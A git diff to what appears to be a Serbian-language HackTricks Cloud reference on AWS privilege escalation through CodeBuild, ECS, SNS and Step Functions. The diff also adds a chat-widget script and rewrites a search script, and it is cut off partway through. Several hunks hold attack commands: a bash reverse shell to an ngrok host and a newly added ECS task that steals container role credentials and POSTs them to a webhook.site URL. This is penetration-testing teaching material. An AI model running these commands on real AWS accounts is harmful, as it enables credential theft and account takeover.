diff --git a/book.toml b/book.toml index f20e2d2a2..a1b0f52ed 100644 --- a/book.toml +++ b/book.toml @@ -31,6 +31,7 @@ additional-js = [ "theme/tabs.js", "theme/ht_searcher.js", "theme/sponsor.js", + "theme/ai.js" ] no-section-label = true preferred-dark-theme = "hacktricks-dark" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 6da7f2479..05da5701c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -63,7 +63,7 @@ aws codebuild start-build-batch --project --buildspec-override fi - `StartBuild` pokreće jedan posao izgradnje koristeći specifični `buildspec.yml`. - `StartBuildBatch` vam omogućava da pokrenete grupu izgradnji, sa složenijim konfiguracijama (kao što je pokretanje više izgradnji paralelno). -**Potencijalni uticaj:** Direktno privesc na povezane AWS Codebuild uloge. +**Potencijalni uticaj:** Direktno privesc na pridružene AWS Codebuild uloge. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -176,11 +176,11 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data > [!WARNING] > U **Codebuild kontejneru** datoteka `/codebuild/output/tmp/env.sh` sadrži sve env varijable potrebne za pristup **metapodacima akreditiva**. -> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput ovog `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput ovoga `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Dodajte to u URL **`http://169.254.170.2/`** i moći ćete da izvučete akreditive uloge. +> Dodajte to URL-u **`http://169.254.170.2/`** i moći ćete da preuzmete akreditive uloge. -> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL adresu za dobijanje **informacija o metapodacima kontejnera**. +> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL adresu za dobijanje **metapodataka o kontejneru**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -214,7 +214,7 @@ JSON="{ printf "$JSON" > $REV_PATH -aws codebuild update-project --cli-input-json file://$REV_PATH +aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` @@ -351,13 +351,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**Uticaj:** Direktno povećanje privilegija na ulozi koju koristi AWS CodeBuild radnik, koja obično ima visoke privilegije. +**Uticaj:** Direktno privesc na ulogu koju koristi AWS CodeBuild radnik koja obično ima visoke privilegije. > [!WARNING] > Imajte na umu da se buildspec može očekivati u zip formatu, tako da bi napadač morao da preuzme, raspakuje, izmeni `buildspec.yml` iz root direktorijuma, ponovo zipuje i otpremi Više detalja može se naći [ovde](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potencijalni Uticaj:** Direktno povećanje privilegija na povezanim AWS Codebuild ulogama. +**Potencijalni Uticaj:** Direktno privesc na pridružene AWS Codebuild uloge. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 3bc02a288..347e0a2fc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -13,6 +13,9 @@ Više **informacija o ECS** u: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` Napadač koji zloupotrebljava dozvolu `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti ga**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -32,6 +35,46 @@ aws ecs run-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` +{{#endtab }} + +{{#tab name="Webhook" }} + +Kreirajte webhook sa sajta kao što je webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + **Potencijalni uticaj:** Direktno privesc na drugu ECS ulogu. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` @@ -80,7 +123,7 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**Potencijalni Uticaj:** Direktno privesc na bilo koju ECS ulogu. +**Potencijalni uticaj:** Direktno privesc na bilo koju ECS ulogu. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` @@ -144,12 +187,12 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebne su dozvole za opis jer je neophodno pokrenuti `aws ecs execute-command`).\ +Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar aktivnog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebne su dozvole za opis jer je neophodno pokrenuti `aws ecs execute-command`).\ Međutim, da bi to uradio, instanca kontejnera mora imati pokrenut **ExecuteCommand agent** (što po defaultu nije slučaj). Stoga, napadač može pokušati da: -- **Pokuša da izvrši komandu** u svakom pokrenutom kontejneru +- **Pokuša da izvrši komandu** u svakom aktivnom kontejneru ```bash # List enableExecuteCommand on each task for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 903f09e1d..693136d2f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -Za više informacija proverite: +Za više informacija pogledajte: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,7 +12,7 @@ Za više informacija proverite: ### `sns:Publish` -Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokrenuti neželjene akcije ili iscrpiti resurse. +Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokretanje neželjenih akcija ili iscrpljivanje resursa. ```bash aws sns publish --topic-arn --message ``` @@ -28,7 +28,7 @@ aws sns subscribe --topic-arn --protocol --endpoint ### `sns:AddPermission` -Napadač bi mogao dodeliti neovlašćenim korisnicima ili uslugama pristup SNS temi, potencijalno dobijajući dodatne dozvole. +Napadač bi mogao da dodeli neovlašćenim korisnicima ili uslugama pristup SNS temi, potencijalno dobijajući dodatne dozvole. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index 674dfd567..be9161b1c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -14,7 +14,7 @@ Za više informacija o ovoj AWS usluzi, proverite: Ove tehnike eskalacije privilegija će zahtevati korišćenje nekih AWS step function resursa kako bi se izvršile željene akcije eskalacije privilegija. -Da biste proverili sve moguće akcije, možete otići na svoj AWS nalog, odabrati akciju koju želite da koristite i videti parametre koje koristi, kao u: +Da biste proverili sve moguće akcije, možete otići na svoj AWS nalog, izabrati akciju koju želite da koristite i videti parametre koje koristi, kao u:
@@ -25,11 +25,11 @@ Ili možete otići na API AWS dokumentaciju i proveriti dokumentaciju za svaku a ### `states:TestState` & `iam:PassRole` -Napadač sa **`states:TestState`** & **`iam:PassRole`** dozvolama može testirati bilo koju državu i proslediti bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće mašine stanja, omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama uloga. U kombinaciji, ove dozvole mogu dovesti do opsežnih neovlašćenih akcija, od manipulacije radnim tokovima do izmene podataka, do curenja podataka, manipulacije resursima i eskalacije privilegija. +Napadač sa **`states:TestState`** & **`iam:PassRole`** dozvolama može testirati bilo koju državu i proslediti bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće mašine stanja, potencijalno omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama uloga. U kombinaciji, ove dozvole mogu dovesti do opsežnih neovlašćenih akcija, od manipulacije radnim tokovima do izmene podataka, do curenja podataka, manipulacije resursima i eskalacije privilegija. ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Sledeći primeri pokazuju kako testirati stanje koje kreira pristupni ključ za **`admin`** korisnika koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati neku visoko privilegovanu politiku povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava stanju da izvrši **`iam:CreateAccessKey`** akciju: +Sledeći primeri pokazuju kako testirati stanje koje kreira pristupni ključ za korisnika **`admin`** koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati neku politiku sa visokim privilegijama povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava stanju da izvrši akciju **`iam:CreateAccessKey`**: - **stateDefinition.json**: ```json @@ -132,18 +132,18 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> S3 bucket pod kontrolom napadača treba da ima dozvole da prihvati s3:PutObject akciju iz naloga žrtve. +> Napadačeva S3 kofa treba da ima dozvole da prihvati akciju s3:PutObject iz naloga žrtve. -**Potencijalni uticaj**: Neovlašćena izvršenja i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta. +**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta. ### `states:UpdateStateMachine` & (ne uvek potrebno) `iam:PassRole` -Napadač sa **`states:UpdateStateMachine`** dozvolom mogao bi da izmeni definiciju mašine stanja, dodajući dodatne stealth stanja koja bi mogla dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovo novo zlonamerno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna. +Napadač sa dozvolom **`states:UpdateStateMachine`** mogao bi da izmeni definiciju mašine stanja, dodajući dodatne neprimetne state-ove koji bi mogli dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovaj novi zlonamerni neprimetni state će biti izvršen i eskalacija privilegija će biti uspešna. -U zavisnosti od toga koliko je permisivna IAM uloga povezana sa mašinom stanja, napadač bi se suočio sa 2 situacije: +U zavisnosti od toga koliko je IAM uloga povezana sa mašinom stanja permisivna, napadač bi se suočio sa 2 situacije: -1. **Permisivna IAM uloga**: Ako je IAM uloga povezana sa mašinom stanja već permisivna (na primer, ima priloženu **`arn:aws:iam::aws:policy/AdministratorAccess`** politiku), tada **`iam:PassRole`** dozvola ne bi bila potrebna za eskalaciju privilegija, pošto ne bi bilo potrebno takođe ažurirati IAM ulogu, sa definicijom mašine stanja je dovoljno. -2. **Nepremisivna IAM uloga**: U suprotnosti sa prethodnim slučajem, ovde bi napadač takođe zahtevao **`iam:PassRole`** dozvolu pošto bi bilo neophodno povezati permisivnu IAM ulogu sa mašinom stanja pored izmene definicije mašine stanja. +1. **Permisivna IAM uloga**: Ako je IAM uloga povezana sa mašinom stanja već permisivna (na primer, ima priloženu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**), tada dozvola **`iam:PassRole`** ne bi bila potrebna za eskalaciju privilegija, pošto ne bi bilo potrebno takođe ažurirati IAM ulogu, sa definicijom mašine stanja je dovoljno. +2. **Nepremisivna IAM uloga**: U suprotnosti sa prethodnim slučajem, ovde bi napadač takođe zahtevao dozvolu **`iam:PassRole`** pošto bi bilo neophodno povezati permisivnu IAM ulogu sa mašinom stanja pored izmene definicije mašine stanja. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] @@ -151,7 +151,7 @@ aws states update-state-machine --state-machine-arn [--definition [!WARNING] -> Ako mašina stanja nema povezanu permisivnu IAM ulogu, takođe bi bila potrebna dozvola **`iam:PassRole`** za ažuriranje IAM uloge kako bi se povezala permisivna IAM uloga (na primer, jedna sa **`arn:aws:iam::aws:policy/AdministratorAccess`** politikom priloženom). +> Ako mašina stanja nema povezanu permisivnu IAM ulogu, takođe će biti potrebna dozvola **`iam:PassRole`** za ažuriranje IAM uloge kako bi se povezala permisivna IAM uloga (na primer, jedna sa **`arn:aws:iam::aws:policy/AdministratorAccess`** politikom priloženom). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -181,7 +181,7 @@ Sledeći primeri pokazuju kako ažurirati legitimnu mašinu stanja koja samo poz ``` {{#endtab }} -{{#tab name="Zlonamerna ažurirana stanja mašine" }} +{{#tab name="Malicious Updated State Machine" }} ```json { "Comment": "Hello world from Lambda state machine", diff --git a/theme/ai.js b/theme/ai.js new file mode 100644 index 000000000..bb8af53b7 --- /dev/null +++ b/theme/ai.js @@ -0,0 +1,332 @@ +/** + * HackTricks AI Chat Widget v1.15 – Markdown rendering + sanitised + * ------------------------------------------------------------------------ + * • Replaces the static “…” placeholder with a three-dot **bouncing** loader + * • Renders assistant replies as Markdown while purging any unsafe HTML + * (XSS-safe via DOMPurify) + * ------------------------------------------------------------------------ + */ +(function () { + const LOG = "[HackTricks-AI]"; + + /* ---------------- User-tunable constants ---------------- */ + const MAX_CONTEXT = 3000; // highlighted-text char limit + const MAX_QUESTION = 500; // question char limit + const TOOLTIP_TEXT = + "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; + + const API_BASE = "https://www.hacktricks.ai/api/assistants/threads"; + const BRAND_RED = "#b31328"; // HackTricks brand + + /* ------------------------------ State ------------------------------ */ + let threadId = null; + let isRunning = false; + + const $ = (sel, ctx = document) => ctx.querySelector(sel); + if (document.getElementById("ht-ai-btn")) { + console.warn(`${LOG} Widget already injected.`); + return; + } + (document.readyState === "loading" + ? document.addEventListener("DOMContentLoaded", init) + : init()); + + /* ==================================================================== */ + /* 🔗 1. 3rd-party libs → Markdown & sanitiser */ + /* ==================================================================== */ + function loadScript(src) { + return new Promise((resolve, reject) => { + const s = document.createElement("script"); + s.src = src; + s.onload = resolve; + s.onerror = () => reject(new Error(`Failed to load ${src}`)); + document.head.appendChild(s); + }); + } + + async function ensureDeps() { + const deps = []; + if (typeof marked === "undefined") { + deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js")); + } + if (typeof DOMPurify === "undefined") { + deps.push( + loadScript( + "https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js" + ) + ); + } + if (deps.length) await Promise.all(deps); + } + + function mdToSafeHTML(md) { + // 1️⃣ Markdown → raw HTML + const raw = marked.parse(md, { mangle: false, headerIds: false }); + // 2️⃣ Purify + return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } }); + } + + /* ==================================================================== */ + async function init() { + /* ----- make sure marked & DOMPurify are ready before anything else */ + try { + await ensureDeps(); + } catch (e) { + console.error(`${LOG} Could not load dependencies`, e); + return; + } + + console.log(`${LOG} Injecting widget… v1.15`); + + await ensureThreadId(); + injectStyles(); + + const btn = createFloatingButton(); + createTooltip(btn); + const panel = createSidebar(); + const chatLog = $("#ht-ai-chat"); + const sendBtn = $("#ht-ai-send"); + const inputBox = $("#ht-ai-question"); + const resetBtn = $("#ht-ai-reset"); + const closeBtn = $("#ht-ai-close"); + + /* ------------------- Selection snapshot ------------------- */ + let savedSelection = ""; + btn.addEventListener("pointerdown", () => { + savedSelection = window.getSelection().toString().trim(); + }); + + /* ------------------- Helpers ------------------------------ */ + function addMsg(text, cls) { + const b = document.createElement("div"); + b.className = `ht-msg ${cls}`; + + // ✨ assistant replies rendered as Markdown + sanitised + if (cls === "ht-ai") { + b.innerHTML = mdToSafeHTML(text); + } else { + // user / context bubbles stay plain-text + b.textContent = text; + } + + chatLog.appendChild(b); + chatLog.scrollTop = chatLog.scrollHeight; + return b; + } + const LOADER_HTML = + ''; + + function setInputDisabled(d) { + inputBox.disabled = d; + sendBtn.disabled = d; + } + function clearThreadCookie() { + document.cookie = "threadId=; Path=/; Max-Age=0"; + threadId = null; + } + function resetConversation() { + chatLog.innerHTML = ""; + clearThreadCookie(); + panel.classList.remove("open"); + } + + /* ------------------- Panel open / close ------------------- */ + btn.addEventListener("click", () => { + if (!savedSelection) { + alert("Please highlight some text first to then ask HackTricks AI about it."); + return; + } + if (savedSelection.length > MAX_CONTEXT) { + alert( + `Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.` + ); + return; + } + chatLog.innerHTML = ""; + addMsg(savedSelection, "ht-context"); + panel.classList.add("open"); + inputBox.focus(); + }); + closeBtn.addEventListener("click", resetConversation); + resetBtn.addEventListener("click", resetConversation); + + /* --------------------------- Messaging --------------------------- */ + async function sendMessage(question, context = null) { + if (!threadId) await ensureThreadId(); + if (isRunning) { + addMsg("Please wait until the current operation completes.", "ht-ai"); + return; + } + + isRunning = true; + setInputDisabled(true); + const loadingBubble = addMsg("", "ht-ai"); + loadingBubble.innerHTML = LOADER_HTML; + + const content = context + ? `### Context:\n${context}\n\n### Question to answer:\n${question}` + : question; + try { + const res = await fetch(`${API_BASE}/${threadId}/messages`, { + method: "POST", + credentials: "include", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ content }) + }); + if (!res.ok) { + let err = `Unknown error: ${res.status}`; + try { + const e = await res.json(); + if (e.error) err = `Error: ${e.error}`; + else if (res.status === 429) + err = "Rate limit exceeded. Please try again later."; + } catch (_) {} + loadingBubble.textContent = err; + return; + } + const data = await res.json(); + loadingBubble.remove(); + if (Array.isArray(data.response)) + data.response.forEach((p) => { + addMsg( + p.type === "text" && p.text && p.text.value + ? p.text.value + : JSON.stringify(p), + "ht-ai" + ); + }); + else if (typeof data.response === "string") + addMsg(data.response, "ht-ai"); + else addMsg(JSON.stringify(data, null, 2), "ht-ai"); + } catch (e) { + console.error("Error sending message:", e); + loadingBubble.textContent = "An unexpected error occurred."; + } finally { + isRunning = false; + setInputDisabled(false); + chatLog.scrollTop = chatLog.scrollHeight; + } + } + + async function handleSend() { + const q = inputBox.value.trim(); + if (!q) return; + if (q.length > MAX_QUESTION) { + alert( + `Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.` + ); + return; + } + inputBox.value = ""; + addMsg(q, "ht-user"); + await sendMessage(q, savedSelection || null); + } + sendBtn.addEventListener("click", handleSend); + inputBox.addEventListener("keydown", (e) => { + if (e.key === "Enter" && !e.shiftKey) { + e.preventDefault(); + handleSend(); + } + }); + } + + /* ==================================================================== */ + async function ensureThreadId() { + const m = document.cookie.match(/threadId=([^;]+)/); + if (m && m[1]) { + threadId = m[1]; + return; + } + try { + const r = await fetch(API_BASE, { method: "POST", credentials: "include" }); + const d = await r.json(); + if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`); + threadId = d.threadId; + document.cookie = + `threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`; + } catch (e) { + console.error("Error creating threadId:", e); + alert("Failed to initialise the conversation. Please refresh and try again."); + throw e; + } + } + + /* ==================================================================== */ + function injectStyles() { + const css = ` + #ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s} + #ht-ai-btn:hover{opacity:.85} + @media(max-width:768px){#ht-ai-btn{display:none}} + #ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000} + #ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)} + #ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} + #ht-ai-panel.open{transform:translateX(0)} + @media(max-width:768px){#ht-ai-panel{display:none}} + #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} + #ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} + #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} + #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} + #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} + .ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word} + .ht-user{align-self:flex-end;background:${BRAND_RED}} + .ht-ai{align-self:flex-start;background:#222} + .ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px} + #ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333} + #ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px} + #ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer} + #ht-ai-send:disabled{opacity:.5;cursor:not-allowed} + /* Loader animation */ + .ht-loading{display:inline-flex;align-items:center;gap:4px} + .ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out} + .ht-loading span:nth-child(2){animation-delay:0.2s} + .ht-loading span:nth-child(3){animation-delay:0.4s} + @keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} } + ::selection{background:#ffeb3b;color:#000} + ::-moz-selection{background:#ffeb3b;color:#000}`; + const s = document.createElement("style"); + s.id = "ht-ai-style"; + s.textContent = css; + document.head.appendChild(s); + } + + function createFloatingButton() { + const d = document.createElement("div"); + d.id = "ht-ai-btn"; + d.textContent = "🤖"; + document.body.appendChild(d); + return d; + } + + function createTooltip(btn) { + const t = document.createElement("div"); + t.id = "ht-ai-tooltip"; + t.textContent = TOOLTIP_TEXT; + document.body.appendChild(t); + btn.addEventListener("mouseenter", () => { + const r = btn.getBoundingClientRect(); + t.style.left = `${r.left + r.width / 2}px`; + t.style.top = `${r.top}px`; + t.classList.add("show"); + }); + btn.addEventListener("mouseleave", () => t.classList.remove("show")); + } + + function createSidebar() { + const p = document.createElement("div"); + p.id = "ht-ai-panel"; + p.innerHTML = ` +
HackTricks AI Chat +
+ + +
+
+
+
+ + +
`; + document.body.appendChild(p); + return p; + } +})(); diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index f2b4de026..f3dc65c1f 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -1,524 +1,554 @@ -"use strict"; -window.search = window.search || {}; -(function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; - } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} +/* ──────────────────────────────────────────────────────────────── + Polyfill so requestIdleCallback works everywhere (IE 11/Safari) + ─────────────────────────────────────────────────────────────── */ + if (typeof window.requestIdleCallback !== "function") { + window.requestIdleCallback = function (cb) { + const start = Date.now(); + return setTimeout(function () { + cb({ + didTimeout: false, + timeRemaining: function () { + return Math.max(0, 50 - (Date.now() - start)); } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum 